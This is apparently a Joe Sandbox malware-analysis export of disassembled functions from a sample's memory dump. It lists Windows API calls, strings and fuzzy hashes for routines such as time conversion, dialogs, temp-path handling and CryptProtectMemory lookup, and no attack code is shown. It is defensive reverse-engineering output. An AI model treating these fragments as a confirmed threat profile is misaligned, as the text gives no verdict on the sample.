Function 00BE146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00BE14C2

Part of subcall function 00BDB146: GetVersionExW.KERNEL32(?), ref: 00BDB16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00BE14E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00BE1500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00BE1513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00BE1523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00BE1533

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 96dd5ae746777723bec0ef9b96582892acbd5fb0a7ed9d801dbbf2c0d7d79739
Instruction ID: 78476dc1d625b76144cc53a0830fd109a03bff037748c5c126d1ff6ac27db596
Opcode Fuzzy Hash: 96dd5ae746777723bec0ef9b96582892acbd5fb0a7ed9d801dbbf2c0d7d79739
Instruction Fuzzy Hash: 5C31E675108346ABC704DFA9C884A9FB7E8BF9C714F004A1AF995C3210E734D509CBA6

Function 00BF2AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00BF2AF1,00BF02FC,00BEFA34), ref: 00BF2B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BF2B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BF2B2F
SetLastError.KERNEL32(00000000,00BF2AF1,00BF02FC,00BEFA34), ref: 00BF2B81

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0a068b0ff8d9790eae31156a54d8df976a8af3f30c86eaa78920e9694cc28783
Instruction ID: ace969c551b9d24dc63a6f7bb13e98cbdaf538b11b7c75565c79dba902a604f6
Opcode Fuzzy Hash: 0a068b0ff8d9790eae31156a54d8df976a8af3f30c86eaa78920e9694cc28783
Instruction Fuzzy Hash: 2D01D43624D31D6EEA142B787C85B7A2BE9EF01B74B610BB9FB10570E2EF114C08D144

Function 00BF97E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00C11030,00BF4674,00C11030,?,?,00BF3F73,00000050,?,00C11030,00000200), ref: 00BF97E9
_free.LIBCMT ref: 00BF981C
_free.LIBCMT ref: 00BF9844
SetLastError.KERNEL32(00000000,?,00C11030,00000200), ref: 00BF9851
SetLastError.KERNEL32(00000000,?,00C11030,00000200), ref: 00BF985D
_abort.LIBCMT ref: 00BF9863

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 58a5a5597923bde64d4cdb529684f0ac55a161ab477f72fbec8dbf9438981011
Instruction ID: c773be0fbc737cc0204e897eb7a7116d06a7d990cb050a650a159b9106589396
Opcode Fuzzy Hash: 58a5a5597923bde64d4cdb529684f0ac55a161ab477f72fbec8dbf9438981011
Instruction Fuzzy Hash: 5BF0A43614061966C7123328BC4AB3F2AE9CFD27F5F3501B8F71893192FE24880DC565

Function 00BEDC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00BEDC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BEDC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BEDC72
TranslateMessage.USER32(?), ref: 00BEDC7C
DispatchMessageW.USER32(?), ref: 00BEDC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00BEDC91

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 49419717015329ce073e85b80d8927e8ddd6d94275382f5436b2cd0a8132eddd
Instruction ID: 4a137cd92e767079b48f1f6a87ed5b23ecbf220b554a2768844b14ae2bc02840
Opcode Fuzzy Hash: 49419717015329ce073e85b80d8927e8ddd6d94275382f5436b2cd0a8132eddd
Instruction Fuzzy Hash: 8AF04F72A01299BBCB206BA5DC4CFCF7FBDEF41791B104011F50AD2060D675D646C7A0

Function 00BDC0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00BE05DA: _wcslen.LIBCMT ref: 00BE05E0

Part of subcall function 00BDB92D: _wcsrchr.LIBVCRUNTIME ref: 00BDB944

_wcslen.LIBCMT ref: 00BDC197
_wcslen.LIBCMT ref: 00BDC1DF

Strings

.exe, xrefs: 00BDC10B
.rar, xrefs: 00BDC0E1, 00BDC134
.sfx, xrefs: 00BDC11A

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 814cb8b037cdb4c9690e311dc28f90a19b4fa3e6cdf9620c601382077f57db2e
Instruction ID: 59594a9415c9335bf80dea46f2b8643369d28cab3e0cf3aff2958ec03a42ca86
Opcode Fuzzy Hash: 814cb8b037cdb4c9690e311dc28f90a19b4fa3e6cdf9620c601382077f57db2e
Instruction Fuzzy Hash: 904114225413A295C732AF648852E7AFBE8EF51744F1449CFF982AB281FB604D81C395

Function 00BECE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00BECE9D

Part of subcall function 00BDB690: _wcslen.LIBCMT ref: 00BDB696

_swprintf.LIBCMT ref: 00BECED1

Part of subcall function 00BD4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD40A5

SetDlgItemTextW.USER32(?,00000066,00C1946A), ref: 00BECEF1
EndDialog.USER32(?,00000001), ref: 00BECFFE

Strings

%s%s%u, xrefs: 00BECEC6

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: f02b2ae117f112f45cd170ca1791e590a84d0784557e261928cb4426f1f3f114
Instruction ID: 030a5417082dcb89b268a8c1fa5ed7cc995fe1691672ff541a5705ae37c68771
Opcode Fuzzy Hash: f02b2ae117f112f45cd170ca1791e590a84d0784557e261928cb4426f1f3f114
Instruction Fuzzy Hash: 02416EB1900298AADF219B51CC95FEE77FCEB05300F4080E6F909E7151EBB09A85CF65

Function 00BDBB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BDBB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00BDA275,?,?,00000800,?,00BDA23A,?,00BD755C), ref: 00BDBBC5
_wcslen.LIBCMT ref: 00BDBC3B

Strings

\\?\, xrefs: 00BDBB52, 00BDBB99, 00BDBBF7, 00BDBC4E
UNC, xrefs: 00BDBBA7

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: 0fa8594239e85cf98a2eaee5fa3013a0e9aeadeaf5b56734e732fb9f0cb3de5d
Instruction ID: 763aa233fd2a1b53182c54f3cf6d6a0548c6ab0521ecf4f6c6fe6460fffe6ddc
Opcode Fuzzy Hash: 0fa8594239e85cf98a2eaee5fa3013a0e9aeadeaf5b56734e732fb9f0cb3de5d
Instruction Fuzzy Hash: E0418B35410259FACF21AF21CC41EEAB7E9FF45790F1944A7F915A3251FBB09A90CB60

Function 00BEB6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00BEB6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 00BEB712
DeleteObject.GDI32(00000000), ref: 00BEB744
DeleteObject.GDI32(00000000), ref: 00BEB767

Part of subcall function 00BEA6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00BEB73D,00000066), ref: 00BEA6D5
Part of subcall function 00BEA6C2: SizeofResource.KERNEL32(00000000,?,?,?,00BEB73D,00000066), ref: 00BEA6EC
Part of subcall function 00BEA6C2: LoadResource.KERNEL32(00000000,?,?,?,00BEB73D,00000066), ref: 00BEA703
Part of subcall function 00BEA6C2: LockResource.KERNEL32(00000000,?,?,?,00BEB73D,00000066), ref: 00BEA712
Part of subcall function 00BEA6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00BEB73D,00000066), ref: 00BEA72D
Part of subcall function 00BEA6C2: GlobalLock.KERNEL32(00000000), ref: 00BEA73E
Part of subcall function 00BEA6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00BEA762
Part of subcall function 00BEA6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00BEA7A7
Part of subcall function 00BEA6C2: GlobalUnlock.KERNEL32(00000000), ref: 00BEA7C6
Part of subcall function 00BEA6C2: GlobalFree.KERNEL32(00000000), ref: 00BEA7CD

Strings

], xrefs: 00BEB71A

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 2abee1a638ac12d7220257af01a8716e4af3daacf3c061712029373a4d25e0db
Instruction ID: 41650a791973730e5f8cfd7bda2b34edf3f8903dc55a9fff27554e4cb1bc301b
Opcode Fuzzy Hash: 2abee1a638ac12d7220257af01a8716e4af3daacf3c061712029373a4d25e0db
Instruction Fuzzy Hash: 5F01CC36900291ABD7127B769C49FBF7AFEAFC1B52F080091F900A7291DF258D0942B2

Function 00BED600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00BD1316: GetDlgItem.USER32(00000000,00003021), ref: 00BD135A
Part of subcall function 00BD1316: SetWindowTextW.USER32(00000000,00C035F4), ref: 00BD1370

EndDialog.USER32(?,00000001), ref: 00BED64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00BED661
SetDlgItemTextW.USER32(?,00000066,?), ref: 00BED675
SetDlgItemTextW.USER32(?,00000068), ref: 00BED684

Strings

RENAMEDLG, xrefs: 00BED618

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 30676164e8c07198ead8f3d4e9c75f25d8bb3b4eddb76fe02e15d87059246389
Instruction ID: a72d8fbe9c48d0ed5cfa20ce704559b981ba6477c83501c1d02c7a64ddbdfdd4
Opcode Fuzzy Hash: 30676164e8c07198ead8f3d4e9c75f25d8bb3b4eddb76fe02e15d87059246389
Instruction Fuzzy Hash: 3801B533394294BED2214F659E09F5F77ADEB5AB01F110465F205A60D0C7E299058B69

Function 00BF7E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00BF7E24,00000000,?,00BF7DC4,00000000,00C0C300,0000000C,00BF7F1B,00000000,00000002), ref: 00BF7E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00BF7EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00BF7E24,00000000,?,00BF7DC4,00000000,00C0C300,0000000C,00BF7F1B,00000000,00000002), ref: 00BF7EC9

Strings

mscoree.dll, xrefs: 00BF7E8C
CorExitProcess, xrefs: 00BF7E9E

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 36be2565249ab0adca02d0597008795b82679a8371978eb162eafbe4e9f8fb8e
Instruction ID: 6386e4f468d946c8876af695dd94c971f52c68a63c64fe79d3b33cb33eabbe7e
Opcode Fuzzy Hash: 36be2565249ab0adca02d0597008795b82679a8371978eb162eafbe4e9f8fb8e
Instruction Fuzzy Hash: A9F04F31A40218BBDB119FA4DC09BAEBFB8EB44715F0140EAF805A22A0DF309E44CA90

Function 00BDF2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BE0836
Part of subcall function 00BE081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BDF2D8,Crypt32.dll,00000000,00BDF35C,?,?,00BDF33E,?,?,?), ref: 00BE0858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00BDF2E4
GetProcAddress.KERNEL32(00C181C8,CryptUnprotectMemory), ref: 00BDF2F4

Strings

CryptUnprotectMemory, xrefs: 00BDF2EA
Crypt32.dll, xrefs: 00BDF2CE
CryptProtectMemory, xrefs: 00BDF2DE

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 0cd5bd95087a2f2045eee521789e6b2d2c3c795bc4230fb6fca92986d81afa83
Instruction ID: c1fe4a2d87b12ed828704758d60d5b0191bbf8b2675900dc116efbeae878d96f
Opcode Fuzzy Hash: 0cd5bd95087a2f2045eee521789e6b2d2c3c795bc4230fb6fca92986d81afa83
Instruction Fuzzy Hash: F3E08670A15782AEC7209F75984DB15BBDCAF04714F15887FF0DA93680D7B4D580CB50

Function 00BF2BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BF2CA1
___AdjustPointer.LIBCMT ref: 00BF2CC4
_abort.LIBCMT ref: 00BF2D12
___AdjustPointer.LIBCMT ref: 00BF2D60

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 223c6665919ee1deeb5bfb23a2aeb1449b20bbdb1a32918f042af76ecb7d7644
Instruction ID: ba09c7c3ea4131675257b9c1d0859d8a7477d0a2c296da0e08b5a24a53923c8c
Opcode Fuzzy Hash: 223c6665919ee1deeb5bfb23a2aeb1449b20bbdb1a32918f042af76ecb7d7644
Instruction Fuzzy Hash: C651047660121EAFEB289F18D885BBA77E4FF54310F2441ADEE01476A1D731ED48DB90

Function 00BFBF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00BFBF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BFBF5C

Part of subcall function 00BF8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BFCA2C,00000000,?,00BF6CBE,?,00000008,?,00BF91E0,?,?,?), ref: 00BF8E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00BFBF82
_free.LIBCMT ref: 00BFBF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00BFBFA4

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 3453d4f5442d92c2eb73327f6fc1cb9185afeef199e43903e43925efdfbbcb31
Instruction ID: 346b9a27844310ed46b93565677c74f159e0fd7e074147ddb38dd78d9260d5a9
Opcode Fuzzy Hash: 3453d4f5442d92c2eb73327f6fc1cb9185afeef199e43903e43925efdfbbcb31
Instruction Fuzzy Hash: 2901F7726016197F6321167A9C9CD7F6AADDEC6FA031501A9FB04C3100EF60CD05C5B0

Function 00BF9869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00BF91AD,00BFB188,?,00BF9813,00000001,00000364,?,00BF3F73,00000050,?,00C11030,00000200), ref: 00BF986E
_free.LIBCMT ref: 00BF98A3
_free.LIBCMT ref: 00BF98CA
SetLastError.KERNEL32(00000000,?,00C11030,00000200), ref: 00BF98D7
SetLastError.KERNEL32(00000000,?,00C11030,00000200), ref: 00BF98E0

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: a2bbecee64cb6cac7a851cc6e7ddebc22b06cd04d72b2b653459de9b17a9c379
Instruction ID: f8c7127a86659d40b618f4222b4c32af578ad4b92b02d026e098ccb5b3804116
Opcode Fuzzy Hash: a2bbecee64cb6cac7a851cc6e7ddebc22b06cd04d72b2b653459de9b17a9c379
Instruction Fuzzy Hash: AD01D13614560D6BC3162669AC85B3F25EDDFD37F4B2201B9F705A3192EE348D0D9121

Function 00BE0EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00BE11CF: ResetEvent.KERNEL32(?), ref: 00BE11E1
Part of subcall function 00BE11CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00BE11F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00BE0F21
CloseHandle.KERNEL32(?,?), ref: 00BE0F3B
DeleteCriticalSection.KERNEL32(?), ref: 00BE0F54
CloseHandle.KERNEL32(?), ref: 00BE0F60
CloseHandle.KERNEL32(?), ref: 00BE0F6C

Part of subcall function 00BE0FE4: WaitForSingleObject.KERNEL32(?,000000FF,00BE1206,?), ref: 00BE0FEA
Part of subcall function 00BE0FE4: GetLastError.KERNEL32(?), ref: 00BE0FF6

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
